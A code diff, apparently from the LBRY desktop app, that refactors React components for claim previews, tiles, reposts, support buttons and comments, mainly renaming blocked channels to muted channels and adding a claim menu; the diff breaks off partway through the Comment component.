onClick: e => e.stopPropagation(),
|
||||
onClick: (e) => e.stopPropagation(),
|
||||
};
|
||||
|
||||
// do not block abandoned and nsfw claims if showUserBlocked is passed
|
||||
@@ -150,7 +153,7 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
// This will be replaced once blocking is done at the wallet server level
|
||||
if (claim && !claimIsMine && !shouldHide && blackListedOutpoints) {
|
||||
shouldHide = blackListedOutpoints.some(
|
||||
outpoint =>
|
||||
(outpoint) =>
|
||||
(signingChannel && outpoint.txid === signingChannel.txid && outpoint.nout === signingChannel.nout) ||
|
||||
(outpoint.txid === claim.txid && outpoint.nout === claim.nout)
|
||||
);
|
||||
@@ -159,19 +162,17 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
// or signing channel outpoint is in the filter list
|
||||
if (claim && !claimIsMine && !shouldHide && filteredOutpoints) {
|
||||
shouldHide = filteredOutpoints.some(
|
||||
outpoint =>
|
||||
(outpoint) =>
|
||||
(signingChannel && outpoint.txid === signingChannel.txid && outpoint.nout === signingChannel.nout) ||
|
||||
(outpoint.txid === claim.txid && outpoint.nout === claim.nout)
|
||||
);
|
||||
}
|
||||
// block stream claims
|
||||
if (claim && !shouldHide && !showUserBlocked && blockedChannelUris.length && signingChannel) {
|
||||
shouldHide = blockedChannelUris.some(blockedUri => blockedUri === signingChannel.permanent_url);
|
||||
if (claim && !shouldHide && !showUserBlocked && mutedUris.length && signingChannel) {
|
||||
shouldHide = mutedUris.some((blockedUri) => blockedUri === signingChannel.permanent_url);
|
||||
}
|
||||
// block channel claims if we can't control for them in claim search
|
||||
// e.g. fetchRecommendedSubscriptions
|
||||
if (claim && isChannel && !shouldHide && !showUserBlocked && blockedChannelUris.length) {
|
||||
shouldHide = blockedChannelUris.some(blockedUri => blockedUri === claim.permanent_url);
|
||||
if (claim && !shouldHide && !showUserBlocked && blockedUris.length && signingChannel) {
|
||||
shouldHide = blockedUris.some((blockedUri) => blockedUri === signingChannel.permanent_url);
|
||||
}
|
||||
|
||||
if (!shouldHide && customShouldHide && claim) {
|
||||
@@ -184,17 +185,6 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
// Make sure this happens after we figure out if this claim needs to be hidden
|
||||
const thumbnailUrl = useGetThumbnail(contentUri, claim, streamingUrl, getFile, shouldHide);
|
||||
|
||||
function handleContextMenu(e) {
|
||||
// @if TARGET='app'
|
||||
e.preventDefault();
|
||||
e.stopPropagation();
|
||||
if (claim) {
|
||||
const shareLink = convertToShareLink(claim.canonical_url || claim.permanent_url);
|
||||
openCopyLinkMenu(shareLink.replace(/#/g, ':'), e);
|
||||
}
|
||||
// @endif
|
||||
}
|
||||
|
||||
function handleOnClick(e) {
|
||||
if (onClick) {
|
||||
onClick(e);
|
||||
@@ -209,28 +199,32 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
if (isValid && !isResolvingUri && shouldFetch && uri) {
|
||||
resolveUri(uri);
|
||||
}
|
||||
}, [isValid, uri, isResolvingUri, shouldFetch]);
|
||||
}, [isValid, uri, isResolvingUri, shouldFetch, resolveUri]);
|
||||
|
||||
if (shouldHide && !showNullPlaceholder) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (placeholder === 'loading' || (uri && !claim && isResolvingUri)) {
|
||||
return <ClaimPreviewLoading isChannel={isChannel} type={type} />;
|
||||
return <ClaimPreviewLoading isChannel={isChannelUri} type={type} />;
|
||||
}
|
||||
|
||||
if (claim && showNullPlaceholder && shouldHide && nsfw) {
|
||||
if (claim && showNullPlaceholder && shouldHide && nsfw && obscureNsfw) {
|
||||
return (
|
||||
<ClaimPreviewHidden message={__('Mature content hidden by your preferences')} isChannel={isChannel} type={type} />
|
||||
<ClaimPreviewHidden
|
||||
message={__('Mature content hidden by your preferences')}
|
||||
isChannel={isChannelUri}
|
||||
type={type}
|
||||
/>
|
||||
);
|
||||
}
|
||||
|
||||
if (claim && showNullPlaceholder && shouldHide) {
|
||||
return <ClaimPreviewHidden message={__('This content is hidden')} isChannel={isChannel} type={type} />;
|
||||
return <ClaimPreviewHidden message={__('This content is hidden')} isChannel={isChannelUri} type={type} />;
|
||||
}
|
||||
|
||||
if (!claim && (showNullPlaceholder || empty)) {
|
||||
return empty || <ClaimPreviewNoContent isChannel={isChannel} type={type} />;
|
||||
return empty || <ClaimPreviewNoContent isChannel={isChannelUri} type={type} />;
|
||||
}
|
||||
|
||||
if (!shouldFetch && showUnresolvedClaim && !isResolvingUri && claim === null) {
|
||||
@@ -245,9 +239,8 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
ref={ref}
|
||||
role="link"
|
||||
onClick={pending || type === 'inline' ? undefined : handleOnClick}
|
||||
onContextMenu={handleContextMenu}
|
||||
className={classnames('claim-preview__wrapper', {
|
||||
'claim-preview__wrapper--channel': isChannel && type !== 'inline',
|
||||
'claim-preview__wrapper--channel': isChannelUri && type !== 'inline',
|
||||
'claim-preview__wrapper--inline': type === 'inline',
|
||||
'claim-preview__wrapper--small': type === 'small',
|
||||
})}
|
||||
@@ -260,14 +253,14 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
'claim-preview--large': type === 'large',
|
||||
'claim-preview--inline': type === 'inline',
|
||||
'claim-preview--tooltip': type === 'tooltip',
|
||||
'claim-preview--channel': isChannel,
|
||||
'claim-preview--visited': !isChannel && !claimIsMine && hasVisitedUri,
|
||||
'claim-preview--channel': isChannelUri,
|
||||
'claim-preview--visited': !isChannelUri && !claimIsMine && hasVisitedUri,
|
||||
'claim-preview--pending': pending,
|
||||
})}
|
||||
>
|
||||
{isChannel && claim ? (
|
||||
{isChannelUri && claim ? (
|
||||
<UriIndicator uri={contentUri} link>
|
||||
<ChannelThumbnail uri={contentUri} obscure={channelIsBlocked} />
|
||||
<ChannelThumbnail uri={contentUri} />
|
||||
</UriIndicator>
|
||||
) : (
|
||||
<>
|
||||
@@ -281,9 +274,11 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
</div>
|
||||
)}
|
||||
{/* @endif */}
|
||||
<div className="claim-preview__file-property-overlay">
|
||||
<FileProperties uri={contentUri} small />
|
||||
</div>
|
||||
{!isRepost && !isChannelUri && (
|
||||
<div className="claim-preview__file-property-overlay">
|
||||
<FileProperties uri={contentUri} small />
|
||||
</div>
|
||||
)}
|
||||
</FileThumbnail>
|
||||
</NavLink>
|
||||
) : (
|
||||
@@ -299,11 +294,15 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
<ClaimPreviewTitle uri={contentUri} />
|
||||
) : (
|
||||
<NavLink {...navLinkProps}>
|
||||
<ClaimPreviewTitle uri={contentUri} />
|
||||
<ClaimPreviewTitle uri={uri} />
|
||||
</NavLink>
|
||||
)}
|
||||
|
||||
{/* {type !== 'small' && !isChannelUri && signingChannel && SIMPLE_SITE && (
|
||||
<ChannelThumbnail uri={signingChannel.permanent_url} />
|
||||
)} */}
|
||||
</div>
|
||||
<ClaimPreviewSubtitle uri={contentUri} type={type} />
|
||||
<ClaimPreviewSubtitle uri={uri} type={type} />
|
||||
{(pending || !!reflectingProgress) && <PublishPending uri={uri} />}
|
||||
</div>
|
||||
{type !== 'small' && (
|
||||
@@ -315,13 +314,17 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
actions
|
||||
) : (
|
||||
<div className="claim-preview__primary-actions">
|
||||
{isChannel && !channelIsBlocked && !claimIsMine && (
|
||||
{!isChannelUri && signingChannel && (
|
||||
<div className="claim-preview__channel-staked">
|
||||
<ChannelThumbnail uri={signingChannel.permanent_url} />
|
||||
</div>
|
||||
)}
|
||||
|
||||
{isChannelUri && !channelIsBlocked && !claimIsMine && (
|
||||
<SubscribeButton uri={contentUri.startsWith('lbry://') ? contentUri : `lbry://${contentUri}`} />
|
||||
)}
|
||||
{!hideBlock && isChannel && !isSubscribed && (!claimIsMine || channelIsBlocked) && (
|
||||
<BlockButton uri={contentUri.startsWith('lbry://') ? contentUri : `lbry://${contentUri}`} />
|
||||
)}
|
||||
{includeSupportAction && <ClaimSupportButton uri={contentUri} />}
|
||||
|
||||
{includeSupportAction && <ClaimSupportButton uri={uri} />}
|
||||
</div>
|
||||
)}
|
||||
</>
|
||||
@@ -341,6 +344,7 @@ const ClaimPreview = forwardRef<any, {}>((props: Props, ref: any) => {
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
{!hideMenu && <ClaimMenuList uri={uri} />}
|
||||
</WrapperElement>
|
||||
);
|
||||
});
|
||||
|
||||
@@ -10,7 +10,7 @@ type Props = {
|
||||
claim: ?Claim,
|
||||
pending?: boolean,
|
||||
type: string,
|
||||
beginPublish: string => void,
|
||||
beginPublish: (string) => void,
|
||||
};
|
||||
|
||||
function ClaimPreviewSubtitle(props: Props) {
|
||||
|
||||
@@ -9,7 +9,7 @@ import {
|
||||
makeSelectChannelForClaimUri,
|
||||
makeSelectClaimIsNsfw,
|
||||
} from 'lbry-redux';
|
||||
import { selectBlockedChannels } from 'redux/selectors/blocked';
|
||||
import { selectMutedChannels } from 'redux/selectors/blocked';
|
||||
import { selectBlackListedOutpoints, selectFilteredOutpoints } from 'lbryinc';
|
||||
import { selectShowMatureContent } from 'redux/selectors/settings';
|
||||
import ClaimPreviewTile from './view';
|
||||
@@ -22,14 +22,14 @@ const select = (state, props) => ({
|
||||
title: props.uri && makeSelectTitleForUri(props.uri)(state),
|
||||
blackListedOutpoints: selectBlackListedOutpoints(state),
|
||||
filteredOutpoints: selectFilteredOutpoints(state),
|
||||
blockedChannelUris: selectBlockedChannels(state),
|
||||
blockedChannelUris: selectMutedChannels(state),
|
||||
showMature: selectShowMatureContent(state),
|
||||
isMature: makeSelectClaimIsNsfw(props.uri)(state),
|
||||
});
|
||||
|
||||
const perform = dispatch => ({
|
||||
resolveUri: uri => dispatch(doResolveUri(uri)),
|
||||
getFile: uri => dispatch(doFileGet(uri, false)),
|
||||
const perform = (dispatch) => ({
|
||||
resolveUri: (uri) => dispatch(doResolveUri(uri)),
|
||||
getFile: (uri) => dispatch(doFileGet(uri, false)),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(ClaimPreviewTile);
|
||||
@@ -14,13 +14,14 @@ import { parseURI } from 'lbry-redux';
|
||||
import FileProperties from 'component/fileProperties';
|
||||
import FileDownloadLink from 'component/fileDownloadLink';
|
||||
import ClaimRepostAuthor from 'component/claimRepostAuthor';
|
||||
import ClaimMenuList from 'component/claimMenuList';
|
||||
|
||||
type Props = {
|
||||
uri: string,
|
||||
claim: ?Claim,
|
||||
resolveUri: string => void,
|
||||
resolveUri: (string) => void,
|
||||
isResolvingUri: boolean,
|
||||
history: { push: string => void },
|
||||
history: { push: (string) => void },
|
||||
thumbnail: string,
|
||||
title: string,
|
||||
placeholder: boolean,
|
||||
@@ -33,11 +34,12 @@ type Props = {
|
||||
nout: number,
|
||||
}>,
|
||||
blockedChannelUris: Array<string>,
|
||||
getFile: string => void,
|
||||
getFile: (string) => void,
|
||||
placeholder: boolean,
|
||||
streamingUrl: string,
|
||||
isMature: boolean,
|
||||
showMature: boolean,
|
||||
showHiddenByUser?: boolean,
|
||||
};
|
||||
|
||||
function ClaimPreviewTile(props: Props) {
|
||||
@@ -57,6 +59,7 @@ function ClaimPreviewTile(props: Props) {
|
||||
blockedChannelUris,
|
||||
isMature,
|
||||
showMature,
|
||||
showHiddenByUser,
|
||||
} = props;
|
||||
const isRepost = claim && claim.repost_channel_url;
|
||||
const shouldFetch = claim === undefined;
|
||||
@@ -66,7 +69,7 @@ function ClaimPreviewTile(props: Props) {
|
||||
|
||||
const navLinkProps = {
|
||||
to: navigateUrl,
|
||||
onClick: e => e.stopPropagation(),
|
||||
onClick: (e) => e.stopPropagation(),
|
||||
};
|
||||
|
||||
let isChannel;
|
||||
@@ -80,13 +83,10 @@ function ClaimPreviewTile(props: Props) {
|
||||
}
|
||||
}
|
||||
|
||||
let channelUri;
|
||||
const signingChannel = claim && claim.signing_channel;
|
||||
let channelThumbnail;
|
||||
if (signingChannel) {
|
||||
channelThumbnail =
|
||||
// I should be able to just pass the the uri to <ChannelThumbnail /> but it wasn't working
|
||||
// Come back to me
|
||||
(signingChannel.value && signingChannel.value.thumbnail && signingChannel.value.thumbnail.url) || undefined;
|
||||
channelUri = signingChannel.permanent_url;
|
||||
}
|
||||
|
||||
function handleClick(e) {
|
||||
@@ -112,7 +112,7 @@ function ClaimPreviewTile(props: Props) {
|
||||
// This will be replaced once blocking is done at the wallet server level
|
||||
if (claim && !shouldHide && blackListedOutpoints) {
|
||||
shouldHide = blackListedOutpoints.some(
|
||||
outpoint =>
|
||||
(outpoint) =>
|
||||
(signingChannel && outpoint.txid === signingChannel.txid && outpoint.nout === signingChannel.nout) ||
|
||||
(outpoint.txid === claim.txid && outpoint.nout === claim.nout)
|
||||
);
|
||||
@@ -121,20 +121,20 @@ function ClaimPreviewTile(props: Props) {
|
||||
// or signing channel outpoint is in the filter list
|
||||
if (claim && !shouldHide && filteredOutpoints) {
|
||||
shouldHide = filteredOutpoints.some(
|
||||
outpoint =>
|
||||
(outpoint) =>
|
||||
(signingChannel && outpoint.txid === signingChannel.txid && outpoint.nout === signingChannel.nout) ||
|
||||
(outpoint.txid === claim.txid && outpoint.nout === claim.nout)
|
||||
);
|
||||
}
|
||||
|
||||
// block stream claims
|
||||
if (claim && !shouldHide && blockedChannelUris.length && signingChannel) {
|
||||
shouldHide = blockedChannelUris.some(blockedUri => blockedUri === signingChannel.permanent_url);
|
||||
if (claim && !shouldHide && !showHiddenByUser && blockedChannelUris.length && signingChannel) {
|
||||
shouldHide = blockedChannelUris.some((blockedUri) => blockedUri === signingChannel.permanent_url);
|
||||
}
|
||||
// block channel claims if we can't control for them in claim search
|
||||
// e.g. fetchRecommendedSubscriptions
|
||||
if (claim && isChannel && !shouldHide && blockedChannelUris.length) {
|
||||
shouldHide = blockedChannelUris.some(blockedUri => blockedUri === claim.permanent_url);
|
||||
if (claim && isChannel && !shouldHide && !showHiddenByUser && blockedChannelUris.length) {
|
||||
shouldHide = blockedChannelUris.some((blockedUri) => blockedUri === claim.permanent_url);
|
||||
}
|
||||
|
||||
if (shouldHide) {
|
||||
@@ -179,7 +179,13 @@ function ClaimPreviewTile(props: Props) {
|
||||
</NavLink>
|
||||
<NavLink {...navLinkProps}>
|
||||
<h2 className="claim-tile__title">
|
||||
<TruncatedText text={title || (claim && claim.name)} lines={2} />
|
||||
<TruncatedText text={title || (claim && claim.name)} lines={isChannel ? 1 : 2} />
|
||||
{isChannel && (
|
||||
<div className="claim-tile__about">
|
||||
<UriIndicator uri={uri} link />
|
||||
</div>
|
||||
)}
|
||||
<ClaimMenuList uri={uri} />
|
||||
</h2>
|
||||
</NavLink>
|
||||
<div>
|
||||
@@ -191,7 +197,7 @@ function ClaimPreviewTile(props: Props) {
|
||||
) : (
|
||||
<React.Fragment>
|
||||
<UriIndicator uri={uri} link hideAnonymous>
|
||||
<ChannelThumbnail thumbnailPreview={channelThumbnail} />
|
||||
<ChannelThumbnail uri={channelUri} />
|
||||
</UriIndicator>
|
||||
|
||||
<div className="claim-tile__about">
|
||||
|
||||
@@ -16,21 +16,38 @@ function ClaimRepostAuthor(props: Props) {
|
||||
const repostChannelUrl = claim && claim.repost_channel_url;
|
||||
const repostUrl = claim && claim.repost_url;
|
||||
|
||||
if (!repostChannelUrl) {
|
||||
return null;
|
||||
}
|
||||
|
||||
if (short) {
|
||||
if (short && repostUrl) {
|
||||
return (
|
||||
<span className="claim-preview__repost-author">
|
||||
<Icon icon={ICONS.REPOST} size={14} />
|
||||
<Icon icon={ICONS.REPOST} size={12} />
|
||||
<span>{repostUrl}</span>
|
||||
</span>
|
||||
);
|
||||
}
|
||||
|
||||
if (repostUrl && !repostChannelUrl) {
|
||||
return (
|
||||
<div className="claim-preview__repost-author">
|
||||
<Icon icon={ICONS.REPOST} size={10} />
|
||||
<span>
|
||||
<I18nMessage
|
||||
tokens={{
|
||||
anonymous: <strong>{__('Anonymous --[used in <%anonymous% Reposted>]--')}</strong>,
|
||||
}}
|
||||
>
|
||||
%anonymous% Reposted
|
||||
</I18nMessage>
|
||||
</span>
|
||||
</div>
|
||||
);
|
||||
}
|
||||
if (!repostUrl) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return (
|
||||
<div className="claim-preview__repost-author">
|
||||
<Icon icon={ICONS.REPOST} size={10} />
|
||||
<Icon icon={ICONS.REPOST} size={10} className="claim-preview__repost-icon" />
|
||||
<I18nMessage tokens={{ repost_channel_link: <UriIndicator link uri={repostChannelUrl} /> }}>
|
||||
%repost_channel_link% reposted
|
||||
</I18nMessage>
|
||||
|
||||
@@ -1,11 +1,12 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { doOpenModal } from 'redux/actions/app';
|
||||
import { makeSelectTagInClaimOrChannelForUri } from 'lbry-redux';
|
||||
import { makeSelectTagInClaimOrChannelForUri, makeSelectClaimForUri } from 'lbry-redux';
|
||||
import ClaimSupportButton from './view';
|
||||
|
||||
const DISABLE_SUPPORT_TAG = 'disable-support';
|
||||
const select = (state, props) => ({
|
||||
disableSupport: makeSelectTagInClaimOrChannelForUri(props.uri, DISABLE_SUPPORT_TAG)(state),
|
||||
claim: makeSelectClaimForUri(props.uri)(state),
|
||||
});
|
||||
|
||||
export default connect(select, {
|
||||
|
||||
@@ -10,10 +10,12 @@ type Props = {
|
||||
doOpenModal: (string, {}) => void,
|
||||
fileAction?: boolean,
|
||||
disableSupport: boolean,
|
||||
claim: GenericClaim,
|
||||
};
|
||||
|
||||
export default function ClaimSupportButton(props: Props) {
|
||||
const { doOpenModal, uri, fileAction, disableSupport } = props;
|
||||
const { doOpenModal, uri, fileAction, disableSupport, claim } = props;
|
||||
const isRepost = claim && claim.repost_url;
|
||||
|
||||
if (disableSupport) {
|
||||
return null;
|
||||
@@ -25,7 +27,7 @@ export default function ClaimSupportButton(props: Props) {
|
||||
className={classnames({ 'button--file-action': fileAction })}
|
||||
icon={ICONS.LBC}
|
||||
iconSize={fileAction ? 22 : undefined}
|
||||
label={__('Support --[button to support a claim]--')}
|
||||
label={isRepost ? __('Support Repost') : __('Support --[button to support a claim]--')}
|
||||
requiresAuth={IS_WEB}
|
||||
title={__('Support this claim')}
|
||||
onClick={() => doOpenModal(MODALS.SEND_TIP, { uri, isSupport: true })}
|
||||
|
||||
@@ -53,7 +53,7 @@ export default function ClaimTags(props: Props) {
|
||||
|
||||
return (
|
||||
<div className={classnames('file-properties--small', { 'file-properties--large': type === 'large' })}>
|
||||
{tagsToDisplay.map(tag => (
|
||||
{tagsToDisplay.map((tag) => (
|
||||
<Tag key={tag} title={tag} name={tag} />
|
||||
))}
|
||||
</div>
|
||||
|
||||
@@ -1,16 +1,14 @@
|
||||
import { connect } from 'react-redux';
|
||||
import { doClaimSearch, selectClaimSearchByQuery, selectFetchingClaimSearchByQuery, SETTINGS } from 'lbry-redux';
|
||||
import { selectBlockedChannels } from 'redux/selectors/blocked';
|
||||
import { doToggleTagFollowDesktop } from 'redux/actions/tags';
|
||||
import { makeSelectClientSetting } from 'redux/selectors/settings';
|
||||
import ClaimListDiscover from './view';
|
||||
|
||||
const select = state => ({
|
||||
const select = (state) => ({
|
||||
claimSearchByQuery: selectClaimSearchByQuery(state),
|
||||
fetchingClaimSearchByQuery: selectFetchingClaimSearchByQuery(state),
|
||||
showNsfw: makeSelectClientSetting(SETTINGS.SHOW_MATURE)(state),
|
||||
hideReposts: makeSelectClientSetting(SETTINGS.HIDE_REPOSTS)(state),
|
||||
hiddenUris: selectBlockedChannels(state),
|
||||
});
|
||||
|
||||
const perform = {
|
||||
|
||||
@@ -10,7 +10,7 @@ type Props = {
|
||||
doClaimSearch: ({}) => void,
|
||||
showNsfw: boolean,
|
||||
hideReposts: boolean,
|
||||
history: { action: string, push: string => void, replace: string => void },
|
||||
history: { action: string, push: (string) => void, replace: (string) => void },
|
||||
claimSearchByQuery: {
|
||||
[string]: Array<string>,
|
||||
},
|
||||
@@ -19,10 +19,10 @@ type Props = {
|
||||
},
|
||||
// claim search options are below
|
||||
tags: Array<string>,
|
||||
hiddenUris: Array<string>,
|
||||
blockedUris: Array<string>,
|
||||
mutedUris: Array<string>,
|
||||
claimIds?: Array<string>,
|
||||
channelIds?: Array<string>,
|
||||
notChannelIds?: Array<string>,
|
||||
pageSize: number,
|
||||
orderBy?: Array<string>,
|
||||
releaseTime?: string,
|
||||
@@ -39,12 +39,10 @@ function ClaimTilesDiscover(props: Props) {
|
||||
claimSearchByQuery,
|
||||
showNsfw,
|
||||
hideReposts,
|
||||
hiddenUris,
|
||||
// Below are options to pass that are forwarded to claim_search
|
||||
tags,
|
||||
channelIds,
|
||||
claimIds,
|
||||
notChannelIds,
|
||||
orderBy,
|
||||
pageSize = 8,
|
||||
releaseTime,
|
||||
@@ -86,10 +84,7 @@ function ClaimTilesDiscover(props: Props) {
|
||||
not_tags: !showNsfw ? MATURE_TAGS : [],
|
||||
any_languages: languages,
|
||||
channel_ids: channelIds || [],
|
||||
not_channel_ids:
|
||||
notChannelIds ||
|
||||
// If channelIds were passed in, we don't need not_channel_ids
|
||||
(!channelIds && hiddenUris && hiddenUris.length ? hiddenUris.map(hiddenUri => hiddenUri.split('#')[1]) : []),
|
||||
not_channel_ids: [],
|
||||
order_by: orderBy || ['trending_group', 'trending_mixed'],
|
||||
};
|
||||
|
||||
@@ -108,7 +103,7 @@ function ClaimTilesDiscover(props: Props) {
|
||||
// https://github.com/lbryio/lbry-desktop/issues/3774
|
||||
if (hideReposts) {
|
||||
if (Array.isArray(options.claim_type)) {
|
||||
options.claim_type = options.claim_type.filter(claimType => claimType !== 'repost');
|
||||
options.claim_type = options.claim_type.filter((claimType) => claimType !== 'repost');
|
||||
} else {
|
||||
options.claim_type = ['stream', 'channel'];
|
||||
}
|
||||
@@ -143,7 +138,7 @@ function ClaimTilesDiscover(props: Props) {
|
||||
return (
|
||||
<ul className="claim-grid">
|
||||
{uris && uris.length
|
||||
? uris.map(uri => <ClaimPreviewTile key={uri} uri={uri} />)
|
||||
? uris.map((uri) => <ClaimPreviewTile key={uri} uri={uri} />)
|
||||
: new Array(pageSize).fill(1).map((x, i) => <ClaimPreviewTile key={i} placeholder />)}
|
||||
</ul>
|
||||
);
|
||||
|
||||
@@ -1,53 +1,30 @@
|
||||
import { connect } from 'react-redux';
|
||||
import {
|
||||
doResolveUri,
|
||||
makeSelectClaimIsPending,
|
||||
makeSelectClaimForUri,
|
||||
makeSelectThumbnailForUri,
|
||||
makeSelectIsUriResolving,
|
||||
selectMyChannelClaims,
|
||||
makeSelectMyChannelPermUrlForName,
|
||||
makeSelectChannelPermUrlForClaimUri,
|
||||
} from 'lbry-redux';
|
||||
import { doCommentAbandon, doCommentUpdate, doCommentPin, doCommentList } from 'redux/actions/comments';
|
||||
import { doToggleBlockChannel } from 'redux/actions/blocked';
|
||||
import { selectChannelIsBlocked } from 'redux/selectors/blocked';
|
||||
import { makeSelectStakedLevelForChannelUri, makeSelectThumbnailForUri, selectMyChannelClaims } from 'lbry-redux';
|
||||
import { doCommentUpdate } from 'redux/actions/comments';
|
||||
import { makeSelectChannelIsMuted } from 'redux/selectors/blocked';
|
||||
import { doToast } from 'redux/actions/notifications';
|
||||
import { doSetPlayingUri } from 'redux/actions/content';
|
||||
import { selectUserVerifiedEmail } from 'redux/selectors/user';
|
||||
import {
|
||||
selectIsFetchingComments,
|
||||
makeSelectOthersReactionsForComment,
|
||||
selectCommentChannel,
|
||||
} from 'redux/selectors/comments';
|
||||
import { makeSelectOthersReactionsForComment } from 'redux/selectors/comments';
|
||||
import { selectActiveChannelClaim } from 'redux/selectors/app';
|
||||
import { selectPlayingUri } from 'redux/selectors/content';
|
||||
import Comment from './view';
|
||||
|
||||
const select = (state, props) => {
|
||||
const channel = selectCommentChannel(state);
|
||||
const select = (state, props) => ({
|
||||
thumbnail: props.authorUri && makeSelectThumbnailForUri(props.authorUri)(state),
|
||||
channelIsBlocked: props.authorUri && makeSelectChannelIsMuted(props.authorUri)(state),
|
||||
commentingEnabled: IS_WEB ? Boolean(selectUserVerifiedEmail(state)) : true,
|
||||
othersReacts: makeSelectOthersReactionsForComment(props.commentId)(state),
|
||||
activeChannelClaim: selectActiveChannelClaim(state),
|
||||
myChannels: selectMyChannelClaims(state),
|
||||
playingUri: selectPlayingUri(state),
|
||||
stakedLevel: makeSelectStakedLevelForChannelUri(props.authorUri)(state),
|
||||
});
|
||||
|
||||
return {
|
||||
activeChannel: channel,
|
||||
pending: props.authorUri && makeSelectClaimIsPending(props.authorUri)(state),
|
||||
channel: props.authorUri && makeSelectClaimForUri(props.authorUri)(state),
|
||||
isResolvingUri: props.authorUri && makeSelectIsUriResolving(props.authorUri)(state),
|
||||
thumbnail: props.authorUri && makeSelectThumbnailForUri(props.authorUri)(state),
|
||||
channelIsBlocked: props.authorUri && selectChannelIsBlocked(props.authorUri)(state),
|
||||
commentingEnabled: IS_WEB ? Boolean(selectUserVerifiedEmail(state)) : true,
|
||||
isFetchingComments: selectIsFetchingComments(state),
|
||||
myChannels: selectMyChannelClaims(state),
|
||||
othersReacts: makeSelectOthersReactionsForComment(props.commentId)(state),
|
||||
commentIdentityChannel: makeSelectMyChannelPermUrlForName(channel)(state),
|
||||
contentChannel: makeSelectChannelPermUrlForClaimUri(props.uri)(state),
|
||||
};
|
||||
};
|
||||
|
||||
const perform = dispatch => ({
|
||||
resolveUri: uri => dispatch(doResolveUri(uri)),
|
||||
const perform = (dispatch) => ({
|
||||
clearPlayingUri: () => dispatch(doSetPlayingUri({ uri: null })),
|
||||
updateComment: (commentId, comment) => dispatch(doCommentUpdate(commentId, comment)),
|
||||
deleteComment: commentId => dispatch(doCommentAbandon(commentId)),
|
||||
blockChannel: channelUri => dispatch(doToggleBlockChannel(channelUri)),
|
||||
doToast: options => dispatch(doToast(options)),
|
||||
pinComment: (commentId, remove) => dispatch(doCommentPin(commentId, remove)),
|
||||
fetchComments: uri => dispatch(doCommentList(uri)),
|
||||
doToast: (options) => dispatch(doToast(options)),
|
||||
});
|
||||
|
||||
export default connect(select, perform)(Comment);
|
||||
@@ -5,13 +5,12 @@ import { FF_MAX_CHARS_IN_COMMENT } from 'constants/form-field';
|
||||
import { SITE_NAME, SIMPLE_SITE, ENABLE_COMMENT_REACTIONS } from 'config';
|
||||
import React, { useEffect, useState } from 'react';
|
||||
import { parseURI } from 'lbry-redux';
|
||||
import { isEmpty } from 'util/object';
|
||||
import DateTime from 'component/dateTime';
|
||||
import Button from 'component/button';
|
||||
import Expandable from 'component/expandable';
|
||||
import MarkdownPreview from 'component/common/markdown-preview';
|
||||
import ChannelThumbnail from 'component/channelThumbnail';
|
||||
import { Menu, MenuList, MenuButton, MenuItem } from '@reach/menu-button';
|
||||
import { Menu, MenuButton } from '@reach/menu-button';
|
||||
import Icon from 'component/common/icon';
|
||||
import { FormField, Form } from 'component/common/form';
|
||||
import classnames from 'classnames';
|
||||
@@ -20,24 +19,22 @@ import CommentReactions from 'component/commentReactions';
|
||||
import CommentsReplies from 'component/commentsReplies';
|
||||
import { useHistory } from 'react-router';
|
||||
import CommentCreate from 'component/commentCreate';
|
||||
import CommentMenuList from 'component/commentMenuList';
|
||||
import UriIndicator from 'component/uriIndicator';
|
||||
|
||||
type Props = {
|
||||
clearPlayingUri: () => void,
|
||||
uri: string,
|
||||
author: ?string, // LBRY Channel Name, e.g. @channel
|
||||
authorUri: string, // full LBRY Channel URI: lbry://@channel#123...
|
||||
commentId: string, // sha256 digest identifying the comment
|
||||
message: string, // comment body
|
||||
timePosted: number, // Comment timestamp
|
||||
channel: ?Claim, // Channel Claim, retrieved to obtain thumbnail
|
||||
pending?: boolean,
|
||||
resolveUri: string => void, // resolves the URI
|
||||
isResolvingUri: boolean, // if the URI is currently being resolved
|
||||
channelIsBlocked: boolean, // if the channel is blacklisted in the app
|
||||
claimIsMine: boolean, // if you control the claim which this comment was posted on
|
||||
commentIsMine: boolean, // if this comment was signed by an owned channel
|
||||
updateComment: (string, string) => void,
|
||||
deleteComment: string => void,
|
||||
blockChannel: string => void,
|
||||
commentModBlock: (string) => void,
|
||||
linkedComment?: any,
|
||||
myChannels: ?Array<ChannelClaim>,
|
||||
commentingEnabled: boolean,
|
||||
@@ -49,10 +46,10 @@ type Props = {
|
||||
like: number,
|
||||
dislike: number,
|
||||
},
|
||||
pinComment: (string, boolean) => Promise<any>,
|
||||
fetchComments: string => void,
|
||||
commentIdentityChannel: any,
|
||||
contentChannel: any,
|
||||
activeChannelClaim: ?ChannelClaim,
|
||||
playingUri: ?PlayingUri,
|
||||
stakedLevel: number,
|
||||
};
|
||||
|
||||
const LENGTH_TO_COLLAPSE = 300;
|
||||
@@ -60,21 +57,16 @@ const ESCAPE_KEY = 27;
|
||||
|
||||
function Comment(props: Props) {
|
||||
const {
|
||||
clearPlayingUri,
|
||||
uri,
|
||||
author,
|
||||
authorUri,
|
||||
timePosted,
|
||||
message,
|
||||
pending,
|
||||
channel,
|
||||
isResolvingUri,
|
||||
resolveUri,
|
||||
channelIsBlocked,
|
||||
commentIsMine,
|
||||
commentId,
|
||||
updateComment,
|
||||
deleteComment,
|
||||
blockChannel,
|
||||
linkedComment,
|
||||
commentingEnabled,
|
||||
myChannels,
|
||||
@@ -82,11 +74,9 @@ function Comment(props: Props) {
|
||||
isTopLevel,
|
||||
threadDepth,
|
||||
isPinned,
|
||||
pinComment,
|
||||
fetchComments,
|
||||
othersReacts,
|
||||
commentIdentityChannel,
|
||||
contentChannel,
|
||||
playingUri,
|
||||
